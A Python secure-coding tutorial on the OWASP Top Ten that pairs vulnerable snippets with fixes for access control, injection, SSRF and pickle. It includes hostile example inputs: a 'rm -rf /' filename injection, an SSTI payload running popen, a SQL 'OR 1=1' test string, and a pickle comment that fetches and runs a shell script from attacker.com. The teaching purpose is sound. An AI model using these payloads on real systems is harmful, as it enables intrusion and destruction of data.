Python OWASP Top Ten — Deep Dive
A01: Broken Access Control — The Persistent Leader
Broken access control has held the top spot since 2021, appearing in 94% of tested applications. The core failure: the server trusts the client to enforce access rules.
Insecure Direct Object Reference (IDOR)
# VULNERABLE: FastAPI endpoint trusts the user-supplied ID
@app.get("/api/invoices/{invoice_id}")
async def get_invoice(invoice_id: int, user: User = Depends(get_current_user)):
invoice = await Invoice.get(id=invoice_id)
return invoice # No ownership check!
# SECURE: Verify the resource belongs to the requesting user
@app.get("/api/invoices/{invoice_id}")
async def get_invoice(invoice_id: int, user: User = Depends(get_current_user)):
invoice = await Invoice.get(id=invoice_id)
if invoice.owner_id != user.id:
raise HTTPException(status_code=404) # 404, not 403 — don't confirm existence
return invoice
Returning 404 instead of 403 prevents enumeration: an attacker can’t distinguish “doesn’t exist” from “exists but not yours.”
Horizontal Privilege Escalation in Django
# VULNERABLE: Django view checks login but not ownership
@login_required
def edit_profile(request, user_id):
profile = get_object_or_404(Profile, user_id=user_id)
# Any logged-in user can edit any profile!
# SECURE: Scope queries to the requesting user
@login_required
def edit_profile(request):
profile = get_object_or_404(Profile, user=request.user)
# Can only access own profile
Function-Level Access Control
# Django: Enforce at the view level, not just the template
from django.contrib.auth.decorators import user_passes_test
def is_admin(user):
return user.is_staff or user.groups.filter(name="admin").exists()
@user_passes_test(is_admin)
def admin_dashboard(request):
return render(request, "admin/dashboard.html")
A02: Cryptographic Failures — Beyond Password Hashing
Data-at-Rest Encryption
from cryptography.fernet import Fernet
class EncryptedField:
"""Encrypt sensitive database fields."""
def __init__(self, key: bytes):
self.cipher = Fernet(key)
def encrypt(self, plaintext: str) -> str:
return self.cipher.encrypt(plaintext.encode()).decode()
def decrypt(self, ciphertext: str) -> str:
return self.cipher.decrypt(ciphertext.encode()).decode()
# Usage: encrypt PII before storage
field = EncryptedField(Fernet.generate_key())
encrypted_ssn = field.encrypt("123-45-6789")
TLS Configuration Hardening
import ssl
def hardened_ssl_context() -> ssl.SSLContext:
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.minimum_version = ssl.TLSVersion.TLSv1_2
ctx.set_ciphers(
"ECDHE+AESGCM:ECDHE+CHACHA20:DHE+AESGCM:DHE+CHACHA20"
)
ctx.options |= ssl.OP_NO_COMPRESSION # CRIME attack mitigation
return ctx
Case study: In 2013, Adobe stored 153 million passwords encrypted with 3DES-ECB (not hashed). Since ECB mode produces identical ciphertext for identical plaintext, attackers identified the most common passwords by frequency analysis without decrypting anything.
A03: Injection — The Full Spectrum
SQL Injection with SQLAlchemy
from sqlalchemy import text
# VULNERABLE: String interpolation
result = session.execute(
text(f"SELECT * FROM users WHERE email = '{email}'")
)
# SECURE: Parameterized query
result = session.execute(
text("SELECT * FROM users WHERE email = :email"),
{"email": email}
)
OS Command Injection
import subprocess
# VULNERABLE: Shell=True with user input
subprocess.run(f"convert {filename} output.png", shell=True)
# filename = "; rm -rf /" → catastrophe
# SECURE: List arguments, no shell
subprocess.run(["convert", filename, "output.png"], shell=False)
Server-Side Template Injection (SSTI)
from jinja2 import Environment, SandboxedEnvironment
# VULNERABLE: User input as template
template = Environment().from_string(user_input)
# user_input = "{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}"
# SECURE: Use SandboxedEnvironment for user-supplied templates
env = SandboxedEnvironment()
template = env.from_string(user_input) # Blocks dangerous operations
Jinja2’s sandbox restricts access to dangerous attributes and functions. For user-generated content, prefer a simpler template language (Mustache, Handlebars) that doesn’t support code execution.
A05: Security Misconfiguration — Django Checklist
# settings.py — production hardening
DEBUG = False
ALLOWED_HOSTS = ["example.com", "www.example.com"]
SECRET_KEY = os.environ["DJANGO_SECRET_KEY"] # Never hardcode
# Security middleware
SECURE_SSL_REDIRECT = True
SECURE_HSTS_SECONDS = 31536000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True
SESSION_COOKIE_SECURE = True
SESSION_COOKIE_HTTPONLY = True
CSRF_COOKIE_SECURE = True
SECURE_CONTENT_TYPE_NOSNIFF = True
X_FRAME_OPTIONS = "DENY"
SECURE_BROWSER_XSS_FILTER = True # Deprecated but harmless
Run python manage.py check --deploy — Django’s built-in deployment checker flags missing security settings.
FastAPI Production Hardening
from fastapi import FastAPI
from starlette.middleware.trustedhost import TrustedHostMiddleware
from starlette.middleware.httpsredirect import HTTPSRedirectMiddleware
app = FastAPI(
docs_url=None, # Disable Swagger in production
redoc_url=None, # Disable ReDoc in production
openapi_url=None, # Disable OpenAPI schema
)
app.add_middleware(TrustedHostMiddleware, allowed_hosts=["example.com"])
app.add_middleware(HTTPSRedirectMiddleware)
A06: Vulnerable Components — Automated Scanning
# pip-audit: maintained by PyPI, uses the OSV database
pip install pip-audit
pip-audit
# safety: checks against the Safety vulnerability database
pip install safety
safety check
# In CI/CD (GitHub Actions example):
# - name: Security audit
# run: pip-audit --strict --desc
Pinning with Hash Verification
# Generate hashes for all dependencies
pip install pip-tools
pip-compile --generate-hashes requirements.in
# requirements.txt now contains:
# requests==2.31.0 \
# --hash=sha256:58cd2187c01e70e6e26505bca751777aa9f2ee0b7f4300988b709f44e013003eb
Hash verification ensures that even if PyPI is compromised, your CI/CD pipeline will reject tampered packages.
A08: Software and Data Integrity Failures
The Pickle Danger
import pickle
# VULNERABLE: Arbitrary code execution
data = pickle.loads(untrusted_bytes)
# An attacker can craft a pickle payload that executes:
# os.system("curl attacker.com/shell.sh | bash")
# SECURE alternatives:
import json
data = json.loads(untrusted_string) # Safe — no code execution
import msgpack
data = msgpack.unpackb(untrusted_bytes) # Safe — data only
Pickle deserialization is fundamentally unsafe with untrusted data. There is no way to make it safe — sandboxing, restricting classes, and custom Unpickler subclasses have all been bypassed. Use JSON, MessagePack, Protocol Buffers, or other data-only formats.
CI/CD Pipeline Integrity
# Verify GPG signatures on deployment artifacts
import subprocess
import sys
def verify_artifact(artifact_path: str, sig_path: str) -> bool:
result = subprocess.run(
["gpg", "--verify", sig_path, artifact_path],
capture_output=True
)
return result.returncode == 0
if not verify_artifact("app.tar.gz", "app.tar.gz.sig"):
print("Artifact signature verification failed!")
sys.exit(1)
A10: Server-Side Request Forgery — Defense in Depth
import ipaddress
import socket
from urllib.parse import urlparse
BLOCKED_NETWORKS = [
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("169.254.0.0/16"), # AWS metadata
ipaddress.ip_network("::1/128"),
]
def is_safe_url(url: str) -> bool:
"""Check if a URL is safe to fetch (not targeting internal resources)."""
parsed = urlparse(url)
if parsed.scheme not in ("http", "https"):
return False
hostname = parsed.hostname
if not hostname:
return False
# Resolve DNS to check actual IP
try:
results = socket.getaddrinfo(hostname, parsed.port or 443)
except socket.gaierror:
return False
for family, socktype, proto, canonname, sockaddr in results:
ip = ipaddress.ip_address(sockaddr[0])
if any(ip in network for network in BLOCKED_NETWORKS):
return False
return True
# Usage: validate before fetching user-supplied URLs
if not is_safe_url(webhook_url):
raise ValueError("URL targets a restricted network")
Critical note: DNS resolution must happen at validation time and the same resolved IP must be used for the actual request. Otherwise, an attacker can exploit DNS rebinding: the first resolution returns a public IP (passes validation), and the second returns 169.254.169.254 (reaches AWS metadata).
Security Testing Automation
# conftest.py — security-focused pytest fixtures
import pytest
@pytest.fixture
def unauthenticated_client(client):
"""Client with no auth — tests should get 401/403."""
client.credentials() # Clear any auth
return client
@pytest.fixture
def other_user_client(client, other_user):
"""Client authenticated as a different user — tests IDOR."""
client.force_authenticate(user=other_user)
return client
# test_security.py
class TestAccessControl:
def test_cannot_view_other_users_invoice(self, other_user_client):
response = other_user_client.get("/api/invoices/1/")
assert response.status_code == 404
def test_unauthenticated_cannot_access_api(self, unauthenticated_client):
response = unauthenticated_client.get("/api/invoices/")
assert response.status_code in (401, 403)
def test_sql_injection_in_search(self, auth_client):
response = auth_client.get("/api/search/?q=' OR 1=1--")
assert response.status_code == 200
# Should return empty results, not all records
assert len(response.json()["results"]) == 0
Continuous Security Integration
# .github/workflows/security.yml
name: Security Checks
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Dependency audit
run: pip-audit --strict
- name: Static analysis
run: bandit -r src/ -ll
- name: Secret scanning
uses: trufflesecurity/trufflehog@main
with:
path: ./
Integrate these checks into every PR. Block merges on critical findings. This catches vulnerabilities before they reach production, when the cost of fixing them is lowest.
The one thing to remember: the OWASP Top Ten isn’t academic — each category has caused real breaches costing millions. Python’s ecosystem provides strong defenses for every category, but only when developers actively apply them to every endpoint, every query, and every data flow.
See Also
- Python Certificate Pinning Why your Python app should remember which ID card a server uses — and refuse impostors even if they have official-looking badges.
- Python Cryptography Library Understand Python Cryptography Library with a vivid mental model so secure Python choices feel obvious, not scary.
- Python Dependency Vulnerability Scanning Why the libraries your Python project uses might be secretly broken — and how to find out before hackers do.
- Python Hashlib Hashing How Python turns any data into a unique fingerprint — and why that fingerprint can never be reversed.
- Python Hmac Authentication How Python proves a message wasn't tampered with — using a secret handshake only you and the receiver know.